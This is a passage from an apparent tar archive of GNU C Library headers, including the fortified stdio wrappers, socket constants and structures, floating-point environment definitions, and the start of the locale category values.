(__USE_FORTIFY_LEVEL - 1, __fmt, __ap); #endif } __fortify_function int vfprintf (FILE *__restrict __stream, const char *__restrict __fmt, __gnuc_va_list __ap) { return __vfprintf_chk (__stream, __USE_FORTIFY_LEVEL - 1, __fmt, __ap); } # ifdef __USE_XOPEN2K8 extern int __dprintf_chk (int __fd, int __flag, const char *__restrict __fmt, ...) __attribute__ ((__format__ (__printf__, 3, 4))); extern int __vdprintf_chk (int __fd, int __flag, const char *__restrict __fmt, __gnuc_va_list __arg) __attribute__ ((__format__ (__printf__, 3, 0))); # ifdef __va_arg_pack __fortify_function int dprintf (int __fd, const char *__restrict __fmt, ...) { return __dprintf_chk (__fd, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } # elif !defined __cplusplus # define dprintf(fd, ...) \ __dprintf_chk (fd, __USE_FORTIFY_LEVEL - 1, __VA_ARGS__) # endif __fortify_function int vdprintf (int __fd, const char *__restrict __fmt, __gnuc_va_list __ap) { return __vdprintf_chk (__fd, __USE_FORTIFY_LEVEL - 1, __fmt, __ap); } # endif # ifdef __USE_GNU extern int __asprintf_chk (char **__restrict __ptr, int __flag, const char *__restrict __fmt, ...) __THROW __attribute__ ((__format__ (__printf__, 3, 4))) __wur; extern int __vasprintf_chk (char **__restrict __ptr, int __flag, const char *__restrict __fmt, __gnuc_va_list __arg) __THROW __attribute__ ((__format__ (__printf__, 3, 0))) __wur; extern int __obstack_printf_chk (struct obstack *__restrict __obstack, int __flag, const char *__restrict __format, ...) __THROW __attribute__ ((__format__ (__printf__, 3, 4))); extern int __obstack_vprintf_chk (struct obstack *__restrict __obstack, int __flag, const char *__restrict __format, __gnuc_va_list __args) __THROW __attribute__ ((__format__ (__printf__, 3, 0))); # ifdef __va_arg_pack __fortify_function int __NTH (asprintf (char **__restrict __ptr, const char *__restrict __fmt, ...)) { return __asprintf_chk (__ptr, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } __fortify_function int __NTH (__asprintf (char **__restrict __ptr, const char *__restrict __fmt, ...)) { return __asprintf_chk (__ptr, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } __fortify_function int __NTH (obstack_printf (struct obstack *__restrict __obstack, const char *__restrict __fmt, ...)) { return __obstack_printf_chk (__obstack, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } # elif !defined __cplusplus # define asprintf(ptr, ...) \ __asprintf_chk (ptr, __USE_FORTIFY_LEVEL - 1, __VA_ARGS__) # define __asprintf(ptr, ...) \ __asprintf_chk (ptr, __USE_FORTIFY_LEVEL - 1, __VA_ARGS__) # define obstack_printf(obstack, ...) \ __obstack_printf_chk (obstack, __USE_FORTIFY_LEVEL - 1, __VA_ARGS__) # endif __fortify_function int __NTH (vasprintf (char **__restrict __ptr, const char *__restrict __fmt, __gnuc_va_list __ap)) { return __vasprintf_chk (__ptr, __USE_FORTIFY_LEVEL - 1, __fmt, __ap); } __fortify_function int __NTH (obstack_vprintf (struct obstack *__restrict __obstack, const char *__restrict __fmt, __gnuc_va_list __ap)) { return __obstack_vprintf_chk (__obstack, __USE_FORTIFY_LEVEL - 1, __fmt, __ap); } # endif #endif #if __GLIBC_USE (DEPRECATED_GETS) extern char *__gets_chk (char *__str, size_t) __wur; extern char *__REDIRECT (__gets_warn, (char *__str), gets) __wur __warnattr ("please use fgets or getline instead, gets can't " "specify buffer size"); __fortify_function __wur char * gets (char *__str) { if (__glibc_objsize (__str) != (size_t) -1) return __gets_chk (__str, __glibc_objsize (__str)); return __gets_warn (__str); } #endif extern char *__fgets_chk (char *__restrict __s, size_t __size, int __n, FILE *__restrict __stream) __wur; extern char *__REDIRECT (__fgets_alias, (char *__restrict __s, int __n, FILE *__restrict __stream), fgets) __wur; extern char *__REDIRECT (__fgets_chk_warn, (char *__restrict __s, size_t __size, int __n, FILE *__restrict __stream), __fgets_chk) __wur __warnattr ("fgets called with bigger size than length " "of destination buffer"); __fortify_function __wur char * fgets (char *__restrict __s, int __n, FILE *__restrict __stream) { size_t sz = __glibc_objsize (__s); if (__glibc_safe_or_unknown_len (__n, sizeof (char), sz)) return __fgets_alias (__s, __n, __stream); if (__glibc_unsafe_len (__n, sizeof (char), sz)) return __fgets_chk_warn (__s, sz, __n, __stream); return __fgets_chk (__s, sz, __n, __stream); } extern size_t __fread_chk (void *__restrict __ptr, size_t __ptrlen, size_t __size, size_t __n, FILE *__restrict __stream) __wur; extern size_t __REDIRECT (__fread_alias, (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream), fread) __wur; extern size_t __REDIRECT (__fread_chk_warn, (void *__restrict __ptr, size_t __ptrlen, size_t __size, size_t __n, FILE *__restrict __stream), __fread_chk) __wur __warnattr ("fread called with bigger size * nmemb than length " "of destination buffer"); __fortify_function __wur size_t fread (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream) { size_t sz = __glibc_objsize0 (__ptr); if (__glibc_safe_or_unknown_len (__n, __size, sz)) return __fread_alias (__ptr, __size, __n, __stream); if (__glibc_unsafe_len (__n, __size, sz)) return __fread_chk_warn (__ptr, sz, __size, __n, __stream); return __fread_chk (__ptr, sz, __size, __n, __stream); } #ifdef __USE_GNU extern char *__fgets_unlocked_chk (char *__restrict __s, size_t __size, int __n, FILE *__restrict __stream) __wur; extern char *__REDIRECT (__fgets_unlocked_alias, (char *__restrict __s, int __n, FILE *__restrict __stream), fgets_unlocked) __wur; extern char *__REDIRECT (__fgets_unlocked_chk_warn, (char *__restrict __s, size_t __size, int __n, FILE *__restrict __stream), __fgets_unlocked_chk) __wur __warnattr ("fgets_unlocked called with bigger size than length " "of destination buffer"); __fortify_function __wur char * fgets_unlocked (char *__restrict __s, int __n, FILE *__restrict __stream) { size_t sz = __glibc_objsize (__s); if (__glibc_safe_or_unknown_len (__n, sizeof (char), sz)) return __fgets_unlocked_alias (__s, __n, __stream); if (__glibc_unsafe_len (__n, sizeof (char), sz)) return __fgets_unlocked_chk_warn (__s, sz, __n, __stream); return __fgets_unlocked_chk (__s, sz, __n, __stream); } #endif #ifdef __USE_MISC # undef fread_unlocked extern size_t __fread_unlocked_chk (void *__restrict __ptr, size_t __ptrlen, size_t __size, size_t __n, FILE *__restrict __stream) __wur; extern size_t __REDIRECT (__fread_unlocked_alias, (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream), fread_unlocked) __wur; extern size_t __REDIRECT (__fread_unlocked_chk_warn, (void *__restrict __ptr, size_t __ptrlen, size_t __size, size_t __n, FILE *__restrict __stream), __fread_unlocked_chk) __wur __warnattr ("fread_unlocked called with bigger size * nmemb than " "length of destination buffer"); __fortify_function __wur size_t fread_unlocked (void *__restrict __ptr, size_t __size, size_t __n, FILE *__restrict __stream) { size_t sz = __glibc_objsize0 (__ptr); if (__glibc_safe_or_unknown_len (__n, __size, sz)) { # ifdef __USE_EXTERN_INLINES if (__builtin_constant_p (__size) && __builtin_constant_p (__n) && (__size | __n) < (((size_t) 1) << (8 * sizeof (size_t) / 2)) && __size * __n <= 8) { size_t __cnt = __size * __n; char *__cptr = (char *) __ptr; if (__cnt == 0) return 0; for (; __cnt > 0; --__cnt) { int __c = getc_unlocked (__stream); if (__c == EOF) break; *__cptr++ = __c; } return (__cptr - (char *) __ptr) / __size; } # endif return __fread_unlocked_alias (__ptr, __size, __n, __stream); } if (__glibc_unsafe_len (__n, __size, sz)) return __fread_unlocked_chk_warn (__ptr, sz, __size, __n, __stream); return __fread_unlocked_chk (__ptr, sz, __size, __n, __stream); } #endif #endif /* bits/stdio2.h. */ bits/mathcalls-narrow.h 0000644 00000002432 15246445046 0011147 0 ustar 00 /* Declare functions returning a narrower type. Copyright (C) 2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never include <bits/mathcalls-narrow.h> directly; include <math.h> instead." #endif /* Add. */ __MATHCALL_NARROW (__MATHCALL_NAME (add), __MATHCALL_REDIR_NAME (add), 2); /* Divide. */ __MATHCALL_NARROW (__MATHCALL_NAME (div), __MATHCALL_REDIR_NAME (div), 2); /* Multiply. */ __MATHCALL_NARROW (__MATHCALL_NAME (mul), __MATHCALL_REDIR_NAME (mul), 2); /* Subtract. */ __MATHCALL_NARROW (__MATHCALL_NAME (sub), __MATHCALL_REDIR_NAME (sub), 2); bits/socket.h 0000644 00000036312 15246445046 0007165 0 ustar 00 /* System-specific socket constants and types. Linux version. Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __BITS_SOCKET_H #define __BITS_SOCKET_H #ifndef _SYS_SOCKET_H # error "Never include <bits/socket.h> directly; use <sys/socket.h> instead." #endif #define __need_size_t #include <stddef.h> #include <sys/types.h> /* Type for length arguments in socket calls. */ #ifndef __socklen_t_defined typedef __socklen_t socklen_t; # define __socklen_t_defined #endif /* Get the architecture-dependent definition of enum __socket_type. */ #include <bits/socket_type.h> /* Protocol families. */ #define PF_UNSPEC 0 /* Unspecified. */ #define PF_LOCAL 1 /* Local to host (pipes and file-domain). */ #define PF_UNIX PF_LOCAL /* POSIX name for PF_LOCAL. */ #define PF_FILE PF_LOCAL /* Another non-standard name for PF_LOCAL. */ #define PF_INET 2 /* IP protocol family. */ #define PF_AX25 3 /* Amateur Radio AX.25. */ #define PF_IPX 4 /* Novell Internet Protocol. */ #define PF_APPLETALK 5 /* Appletalk DDP. */ #define PF_NETROM 6 /* Amateur radio NetROM. */ #define PF_BRIDGE 7 /* Multiprotocol bridge. */ #define PF_ATMPVC 8 /* ATM PVCs. */ #define PF_X25 9 /* Reserved for X.25 project. */ #define PF_INET6 10 /* IP version 6. */ #define PF_ROSE 11 /* Amateur Radio X.25 PLP. */ #define PF_DECnet 12 /* Reserved for DECnet project. */ #define PF_NETBEUI 13 /* Reserved for 802.2LLC project. */ #define PF_SECURITY 14 /* Security callback pseudo AF. */ #define PF_KEY 15 /* PF_KEY key management API. */ #define PF_NETLINK 16 #define PF_ROUTE PF_NETLINK /* Alias to emulate 4.4BSD. */ #define PF_PACKET 17 /* Packet family. */ #define PF_ASH 18 /* Ash. */ #define PF_ECONET 19 /* Acorn Econet. */ #define PF_ATMSVC 20 /* ATM SVCs. */ #define PF_RDS 21 /* RDS sockets. */ #define PF_SNA 22 /* Linux SNA Project */ #define PF_IRDA 23 /* IRDA sockets. */ #define PF_PPPOX 24 /* PPPoX sockets. */ #define PF_WANPIPE 25 /* Wanpipe API sockets. */ #define PF_LLC 26 /* Linux LLC. */ #define PF_IB 27 /* Native InfiniBand address. */ #define PF_MPLS 28 /* MPLS. */ #define PF_CAN 29 /* Controller Area Network. */ #define PF_TIPC 30 /* TIPC sockets. */ #define PF_BLUETOOTH 31 /* Bluetooth sockets. */ #define PF_IUCV 32 /* IUCV sockets. */ #define PF_RXRPC 33 /* RxRPC sockets. */ #define PF_ISDN 34 /* mISDN sockets. */ #define PF_PHONET 35 /* Phonet sockets. */ #define PF_IEEE802154 36 /* IEEE 802.15.4 sockets. */ #define PF_CAIF 37 /* CAIF sockets. */ #define PF_ALG 38 /* Algorithm sockets. */ #define PF_NFC 39 /* NFC sockets. */ #define PF_VSOCK 40 /* vSockets. */ #define PF_KCM 41 /* Kernel Connection Multiplexor. */ #define PF_QIPCRTR 42 /* Qualcomm IPC Router. */ #define PF_SMC 43 /* SMC sockets. */ #define PF_XDP 44 /* XDP sockets. */ #define PF_MAX 45 /* For now.. */ /* Address families. */ #define AF_UNSPEC PF_UNSPEC #define AF_LOCAL PF_LOCAL #define AF_UNIX PF_UNIX #define AF_FILE PF_FILE #define AF_INET PF_INET #define AF_AX25 PF_AX25 #define AF_IPX PF_IPX #define AF_APPLETALK PF_APPLETALK #define AF_NETROM PF_NETROM #define AF_BRIDGE PF_BRIDGE #define AF_ATMPVC PF_ATMPVC #define AF_X25 PF_X25 #define AF_INET6 PF_INET6 #define AF_ROSE PF_ROSE #define AF_DECnet PF_DECnet #define AF_NETBEUI PF_NETBEUI #define AF_SECURITY PF_SECURITY #define AF_KEY PF_KEY #define AF_NETLINK PF_NETLINK #define AF_ROUTE PF_ROUTE #define AF_PACKET PF_PACKET #define AF_ASH PF_ASH #define AF_ECONET PF_ECONET #define AF_ATMSVC PF_ATMSVC #define AF_RDS PF_RDS #define AF_SNA PF_SNA #define AF_IRDA PF_IRDA #define AF_PPPOX PF_PPPOX #define AF_WANPIPE PF_WANPIPE #define AF_LLC PF_LLC #define AF_IB PF_IB #define AF_MPLS PF_MPLS #define AF_CAN PF_CAN #define AF_TIPC PF_TIPC #define AF_BLUETOOTH PF_BLUETOOTH #define AF_IUCV PF_IUCV #define AF_RXRPC PF_RXRPC #define AF_ISDN PF_ISDN #define AF_PHONET PF_PHONET #define AF_IEEE802154 PF_IEEE802154 #define AF_CAIF PF_CAIF #define AF_ALG PF_ALG #define AF_NFC PF_NFC #define AF_VSOCK PF_VSOCK #define AF_KCM PF_KCM #define AF_QIPCRTR PF_QIPCRTR #define AF_SMC PF_SMC #define AF_XDP PF_XDP #define AF_MAX PF_MAX /* Socket level values. Others are defined in the appropriate headers. XXX These definitions also should go into the appropriate headers as far as they are available. */ #define SOL_RAW 255 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 /* ATM layer (cell level). */ #define SOL_AAL 265 /* ATM Adaption Layer (packet level). */ #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define SOL_XDP 283 /* Maximum queue length specifiable by listen. */ #define SOMAXCONN 128 /* Get the definition of the macro to define the common sockaddr members. */ #include <bits/sockaddr.h> /* Structure describing a generic socket address. */ struct sockaddr { __SOCKADDR_COMMON (sa_); /* Common data: address family and length. */ char sa_data[14]; /* Address data. */ }; /* Structure large enough to hold any socket address (with the historical exception of AF_UNIX). */ #define __ss_aligntype unsigned long int #define _SS_PADSIZE \ (_SS_SIZE - __SOCKADDR_COMMON_SIZE - sizeof (__ss_aligntype)) struct sockaddr_storage { __SOCKADDR_COMMON (ss_); /* Address family, etc. */ char __ss_padding[_SS_PADSIZE]; __ss_aligntype __ss_align; /* Force desired alignment. */ }; /* Bits in the FLAGS argument to `send', `recv', et al. */ enum { MSG_OOB = 0x01, /* Process out-of-band data. */ #define MSG_OOB MSG_OOB MSG_PEEK = 0x02, /* Peek at incoming messages. */ #define MSG_PEEK MSG_PEEK MSG_DONTROUTE = 0x04, /* Don't use local routing. */ #define MSG_DONTROUTE MSG_DONTROUTE #ifdef __USE_GNU /* DECnet uses a different name. */ MSG_TRYHARD = MSG_DONTROUTE, # define MSG_TRYHARD MSG_DONTROUTE #endif MSG_CTRUNC = 0x08, /* Control data lost before delivery. */ #define MSG_CTRUNC MSG_CTRUNC MSG_PROXY = 0x10, /* Supply or ask second address. */ #define MSG_PROXY MSG_PROXY MSG_TRUNC = 0x20, #define MSG_TRUNC MSG_TRUNC MSG_DONTWAIT = 0x40, /* Nonblocking IO. */ #define MSG_DONTWAIT MSG_DONTWAIT MSG_EOR = 0x80, /* End of record. */ #define MSG_EOR MSG_EOR MSG_WAITALL = 0x100, /* Wait for a full request. */ #define MSG_WAITALL MSG_WAITALL MSG_FIN = 0x200, #define MSG_FIN MSG_FIN MSG_SYN = 0x400, #define MSG_SYN MSG_SYN MSG_CONFIRM = 0x800, /* Confirm path validity. */ #define MSG_CONFIRM MSG_CONFIRM MSG_RST = 0x1000, #define MSG_RST MSG_RST MSG_ERRQUEUE = 0x2000, /* Fetch message from error queue. */ #define MSG_ERRQUEUE MSG_ERRQUEUE MSG_NOSIGNAL = 0x4000, /* Do not generate SIGPIPE. */ #define MSG_NOSIGNAL MSG_NOSIGNAL MSG_MORE = 0x8000, /* Sender will send more. */ #define MSG_MORE MSG_MORE MSG_WAITFORONE = 0x10000, /* Wait for at least one packet to return.*/ #define MSG_WAITFORONE MSG_WAITFORONE MSG_BATCH = 0x40000, /* sendmmsg: more messages coming. */ #define MSG_BATCH MSG_BATCH MSG_ZEROCOPY = 0x4000000, /* Use user data in kernel path. */ #define MSG_ZEROCOPY MSG_ZEROCOPY MSG_FASTOPEN = 0x20000000, /* Send data in TCP SYN. */ #define MSG_FASTOPEN MSG_FASTOPEN MSG_CMSG_CLOEXEC = 0x40000000 /* Set close_on_exit for file descriptor received through SCM_RIGHTS. */ #define MSG_CMSG_CLOEXEC MSG_CMSG_CLOEXEC }; /* Structure describing messages sent by `sendmsg' and received by `recvmsg'. */ struct msghdr { void *msg_name; /* Address to send to/receive from. */ socklen_t msg_namelen; /* Length of address data. */ struct iovec *msg_iov; /* Vector of data to send/receive into. */ size_t msg_iovlen; /* Number of elements in the vector. */ void *msg_control; /* Ancillary data (eg BSD filedesc passing). */ size_t msg_controllen; /* Ancillary data buffer length. !! The type should be socklen_t but the definition of the kernel is incompatible with this. */ int msg_flags; /* Flags on received message. */ }; /* Structure used for storage of ancillary data object information. */ struct cmsghdr { size_t cmsg_len; /* Length of data in cmsg_data plus length of cmsghdr structure. !! The type should be socklen_t but the definition of the kernel is incompatible with this. */ int cmsg_level; /* Originating protocol. */ int cmsg_type; /* Protocol specific type. */ #if __glibc_c99_flexarr_available __extension__ unsigned char __cmsg_data __flexarr; /* Ancillary data. */ #endif }; /* Ancillary data object manipulation macros. */ #if __glibc_c99_flexarr_available # define CMSG_DATA(cmsg) ((cmsg)->__cmsg_data) #else # define CMSG_DATA(cmsg) ((unsigned char *) ((struct cmsghdr *) (cmsg) + 1)) #endif #define CMSG_NXTHDR(mhdr, cmsg) __cmsg_nxthdr (mhdr, cmsg) #define CMSG_FIRSTHDR(mhdr) \ ((size_t) (mhdr)->msg_controllen >= sizeof (struct cmsghdr) \ ? (struct cmsghdr *) (mhdr)->msg_control : (struct cmsghdr *) 0) #define CMSG_ALIGN(len) (((len) + sizeof (size_t) - 1) \ & (size_t) ~(sizeof (size_t) - 1)) #define CMSG_SPACE(len) (CMSG_ALIGN (len) \ + CMSG_ALIGN (sizeof (struct cmsghdr))) #define CMSG_LEN(len) (CMSG_ALIGN (sizeof (struct cmsghdr)) + (len)) /* Given a length, return the additional padding necessary such that len + __CMSG_PADDING(len) == CMSG_ALIGN (len). */ #define __CMSG_PADDING(len) ((sizeof (size_t) \ - ((len) & (sizeof (size_t) - 1))) \ & (sizeof (size_t) - 1)) extern struct cmsghdr *__cmsg_nxthdr (struct msghdr *__mhdr, struct cmsghdr *__cmsg) __THROW; #ifdef __USE_EXTERN_INLINES # ifndef _EXTERN_INLINE # define _EXTERN_INLINE __extern_inline # endif _EXTERN_INLINE struct cmsghdr * __NTH (__cmsg_nxthdr (struct msghdr *__mhdr, struct cmsghdr *__cmsg)) { /* We may safely assume that __cmsg lies between __mhdr->msg_control and __mhdr->msg_controllen because the user is required to obtain the first cmsg via CMSG_FIRSTHDR, set its length, then obtain subsequent cmsgs via CMSG_NXTHDR, setting lengths along the way. However, we don't yet trust the value of __cmsg->cmsg_len and therefore do not use it in any pointer arithmetic until we check its value. */ unsigned char * __msg_control_ptr = (unsigned char *) __mhdr->msg_control; unsigned char * __cmsg_ptr = (unsigned char *) __cmsg; size_t __size_needed = sizeof (struct cmsghdr) + __CMSG_PADDING (__cmsg->cmsg_len); /* The current header is malformed, too small to be a full header. */ if ((size_t) __cmsg->cmsg_len < sizeof (struct cmsghdr)) return (struct cmsghdr *) 0; /* There isn't enough space between __cmsg and the end of the buffer to hold the current cmsg *and* the next one. */ if (((size_t) (__msg_control_ptr + __mhdr->msg_controllen - __cmsg_ptr) < __size_needed) || ((size_t) (__msg_control_ptr + __mhdr->msg_controllen - __cmsg_ptr - __size_needed) < __cmsg->cmsg_len)) return (struct cmsghdr *) 0; /* Now, we trust cmsg_len and can use it to find the next header. */ __cmsg = (struct cmsghdr *) ((unsigned char *) __cmsg + CMSG_ALIGN (__cmsg->cmsg_len)); return __cmsg; } #endif /* Use `extern inline'. */ /* Socket level message types. This must match the definitions in <linux/socket.h>. */ enum { SCM_RIGHTS = 0x01 /* Transfer file descriptors. */ #define SCM_RIGHTS SCM_RIGHTS #ifdef __USE_GNU , SCM_CREDENTIALS = 0x02 /* Credentials passing. */ # define SCM_CREDENTIALS SCM_CREDENTIALS #endif }; #ifdef __USE_GNU /* User visible structure for SCM_CREDENTIALS message */ struct ucred { pid_t pid; /* PID of sending process. */ uid_t uid; /* UID of sending process. */ gid_t gid; /* GID of sending process. */ }; #endif /* Ugly workaround for unclean kernel headers. */ #ifndef __USE_MISC # ifndef FIOGETOWN # define __SYS_SOCKET_H_undef_FIOGETOWN # endif # ifndef FIOSETOWN # define __SYS_SOCKET_H_undef_FIOSETOWN # endif # ifndef SIOCATMARK # define __SYS_SOCKET_H_undef_SIOCATMARK # endif # ifndef SIOCGPGRP # define __SYS_SOCKET_H_undef_SIOCGPGRP # endif # ifndef SIOCGSTAMP # define __SYS_SOCKET_H_undef_SIOCGSTAMP # endif # ifndef SIOCGSTAMPNS # define __SYS_SOCKET_H_undef_SIOCGSTAMPNS # endif # ifndef SIOCSPGRP # define __SYS_SOCKET_H_undef_SIOCSPGRP # endif #endif #ifndef IOCSIZE_MASK # define __SYS_SOCKET_H_undef_IOCSIZE_MASK #endif #ifndef IOCSIZE_SHIFT # define __SYS_SOCKET_H_undef_IOCSIZE_SHIFT #endif #ifndef IOC_IN # define __SYS_SOCKET_H_undef_IOC_IN #endif #ifndef IOC_INOUT # define __SYS_SOCKET_H_undef_IOC_INOUT #endif #ifndef IOC_OUT # define __SYS_SOCKET_H_undef_IOC_OUT #endif /* Get socket manipulation related informations from kernel headers. */ #include <asm/socket.h> #ifndef __USE_MISC # ifdef __SYS_SOCKET_H_undef_FIOGETOWN # undef __SYS_SOCKET_H_undef_FIOGETOWN # undef FIOGETOWN # endif # ifdef __SYS_SOCKET_H_undef_FIOSETOWN # undef __SYS_SOCKET_H_undef_FIOSETOWN # undef FIOSETOWN # endif # ifdef __SYS_SOCKET_H_undef_SIOCATMARK # undef __SYS_SOCKET_H_undef_SIOCATMARK # undef SIOCATMARK # endif # ifdef __SYS_SOCKET_H_undef_SIOCGPGRP # undef __SYS_SOCKET_H_undef_SIOCGPGRP # undef SIOCGPGRP # endif # ifdef __SYS_SOCKET_H_undef_SIOCGSTAMP # undef __SYS_SOCKET_H_undef_SIOCGSTAMP # undef SIOCGSTAMP # endif # ifdef __SYS_SOCKET_H_undef_SIOCGSTAMPNS # undef __SYS_SOCKET_H_undef_SIOCGSTAMPNS # undef SIOCGSTAMPNS # endif # ifdef __SYS_SOCKET_H_undef_SIOCSPGRP # undef __SYS_SOCKET_H_undef_SIOCSPGRP # undef SIOCSPGRP # endif #endif #ifdef __SYS_SOCKET_H_undef_IOCSIZE_MASK # undef __SYS_SOCKET_H_undef_IOCSIZE_MASK # undef IOCSIZE_MASK #endif #ifdef __SYS_SOCKET_H_undef_IOCSIZE_SHIFT # undef __SYS_SOCKET_H_undef_IOCSIZE_SHIFT # undef IOCSIZE_SHIFT #endif #ifdef __SYS_SOCKET_H_undef_IOC_IN # undef __SYS_SOCKET_H_undef_IOC_IN # undef IOC_IN #endif #ifdef __SYS_SOCKET_H_undef_IOC_INOUT # undef __SYS_SOCKET_H_undef_IOC_INOUT # undef IOC_INOUT #endif #ifdef __SYS_SOCKET_H_undef_IOC_OUT # undef __SYS_SOCKET_H_undef_IOC_OUT # undef IOC_OUT #endif /* Structure used to manipulate the SO_LINGER option. */ struct linger { int l_onoff; /* Nonzero to linger on close. */ int l_linger; /* Time to linger. */ }; #endif /* bits/socket.h */ bits/fenv.h 0000644 00000010775 15246445046 0006640 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _FENV_H # error "Never use <bits/fenv.h> directly; include <fenv.h> instead." #endif /* Define bits representing the exception. We use the bit positions of the appropriate bits in the FPU control word. */ enum { FE_INVALID = #define FE_INVALID 0x01 FE_INVALID, __FE_DENORM = 0x02, FE_DIVBYZERO = #define FE_DIVBYZERO 0x04 FE_DIVBYZERO, FE_OVERFLOW = #define FE_OVERFLOW 0x08 FE_OVERFLOW, FE_UNDERFLOW = #define FE_UNDERFLOW 0x10 FE_UNDERFLOW, FE_INEXACT = #define FE_INEXACT 0x20 FE_INEXACT }; #define FE_ALL_EXCEPT \ (FE_INEXACT | FE_DIVBYZERO | FE_UNDERFLOW | FE_OVERFLOW | FE_INVALID) /* The ix87 FPU supports all of the four defined rounding modes. We use again the bit positions in the FPU control word as the values for the appropriate macros. */ enum { FE_TONEAREST = #define FE_TONEAREST 0 FE_TONEAREST, FE_DOWNWARD = #define FE_DOWNWARD 0x400 FE_DOWNWARD, FE_UPWARD = #define FE_UPWARD 0x800 FE_UPWARD, FE_TOWARDZERO = #define FE_TOWARDZERO 0xc00 FE_TOWARDZERO }; /* Type representing exception flags. */ typedef unsigned short int fexcept_t; /* Type representing floating-point environment. This structure corresponds to the layout of the block written by the `fstenv' instruction and has additional fields for the contents of the MXCSR register as written by the `stmxcsr' instruction. */ typedef struct { unsigned short int __control_word; unsigned short int __glibc_reserved1; unsigned short int __status_word; unsigned short int __glibc_reserved2; unsigned short int __tags; unsigned short int __glibc_reserved3; unsigned int __eip; unsigned short int __cs_selector; unsigned int __opcode:11; unsigned int __glibc_reserved4:5; unsigned int __data_offset; unsigned short int __data_selector; unsigned short int __glibc_reserved5; #ifdef __x86_64__ unsigned int __mxcsr; #endif } fenv_t; /* If the default argument is used we use this value. */ #define FE_DFL_ENV ((const fenv_t *) -1) #ifdef __USE_GNU /* Floating-point environment where none of the exception is masked. */ # define FE_NOMASK_ENV ((const fenv_t *) -2) #endif #if __GLIBC_USE (IEC_60559_BFP_EXT) /* Type representing floating-point control modes. */ typedef struct { unsigned short int __control_word; unsigned short int __glibc_reserved; unsigned int __mxcsr; } femode_t; /* Default floating-point control modes. */ # define FE_DFL_MODE ((const femode_t *) -1L) #endif #ifdef __USE_EXTERN_INLINES __BEGIN_DECLS /* Optimized versions. */ #ifndef _LIBC extern int __REDIRECT_NTH (__feraiseexcept_renamed, (int), feraiseexcept); #endif __extern_always_inline void __NTH (__feraiseexcept_invalid_divbyzero (int __excepts)) { if ((FE_INVALID & __excepts) != 0) { /* One example of an invalid operation is 0.0 / 0.0. */ float __f = 0.0; # ifdef __SSE_MATH__ __asm__ __volatile__ ("divss %0, %0 " : "+x" (__f)); # else __asm__ __volatile__ ("fdiv %%st, %%st(0); fwait" : "=t" (__f) : "0" (__f)); # endif (void) &__f; } if ((FE_DIVBYZERO & __excepts) != 0) { float __f = 1.0; float __g = 0.0; # ifdef __SSE_MATH__ __asm__ __volatile__ ("divss %1, %0" : "+x" (__f) : "x" (__g)); # else __asm__ __volatile__ ("fdivp %%st, %%st(1); fwait" : "=t" (__f) : "0" (__f), "u" (__g) : "st(1)"); # endif (void) &__f; } } __extern_inline int __NTH (feraiseexcept (int __excepts)) { if (__builtin_constant_p (__excepts) && (__excepts & ~(FE_INVALID | FE_DIVBYZERO)) == 0) { __feraiseexcept_invalid_divbyzero (__excepts); return 0; } return __feraiseexcept_renamed (__excepts); } __END_DECLS #endif bits/locale.h 0000644 00000002527 15246445046 0007135 0 ustar 00 /* Definition of locale category symbol values. Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #if !defined _LOCALE_H && !defined _LANGINFO_H # error "Never use <bits/locale.h> directly; include <locale.h> instead." #endif #ifndef _BITS_LOCALE_H #define _BITS_LOCALE_H 1 #define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 